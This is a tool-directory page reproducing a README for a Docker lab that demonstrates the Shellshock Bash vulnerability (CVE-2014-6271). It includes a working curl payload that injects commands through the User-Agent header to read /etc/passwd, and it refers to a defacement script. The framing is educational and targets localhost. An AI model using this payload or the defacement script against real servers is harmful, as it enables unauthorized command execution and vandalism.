Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2014-6271 — Projet de présentation d'une CVE (ShellShock) avec pdf, démonstration technique et reproductible | Kitploit
Tools/GitHubGitHub/radyio/cve-2014-6271
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubradyio/cve-2014-6271

CVE-2014-6271

Projet de présentation d'une CVE (ShellShock) avec pdf, démonstration technique et reproductible

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2014-6271

Description

This project allows reproducing the vulnerability CVE-2014-6271, also known as Shellshock. Shellshock is a security vulnerability in Bash that allows executing malicious code via environment variables.

The purpose of this project is to demonstrate the impact of this vulnerability on a Docker environment.

Prerequisites

Before starting, ensure you have Docker installed on your machine. You can download Docker here.

Installation and launch

1. Build the Docker image

In the project directory, build the Docker image by running the following command:

root@kitploit:~
docker build -t ['image name'] .

Replace ['image name'] with the name you want to give to the Docker image.

2. Run the Docker container

Once the image is built, run a container from this image with the following command:

root@kitploit:~
docker run -it --rm -p 8080:80 ['image name']

This will expose the service on port 8080 of your local machine.

3. Access the application

Open your browser and go to http://localhost:8080. You will be able to observe the application's behavior and test the vulnerability.

4-1. Exploit the vulnerability

In another terminal, run the following command to exploit the vulnerability and read the contents of the /etc/passwd file:

root@kitploit:~
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

This command sends a specially crafted user-agent header to exploit Shellshock. If the vulnerability is properly reproduced, the contents of /etc/passwd will appear in the terminal output.

4-2. Exploit the vulnerability (script exp_deface.sh)

This script exploits the vulnerability to deface a target web page. The vulnerability relies on a misconfiguration of CGI scripts, which allows arbitrary command execution on the server.

Prerequisites: Make sure the target is vulnerable to the ShellShock bug. Make sure you have the necessary permissions to test the exploit on this target.

root@kitploit:~
./exp_deface.sh <ip> <port>

./exp_deface.sh localhost 8080

Security

Important: This vulnerability should only be used for testing and demonstration purposes in a controlled environment. Do not use this project in production environments.

Download Tool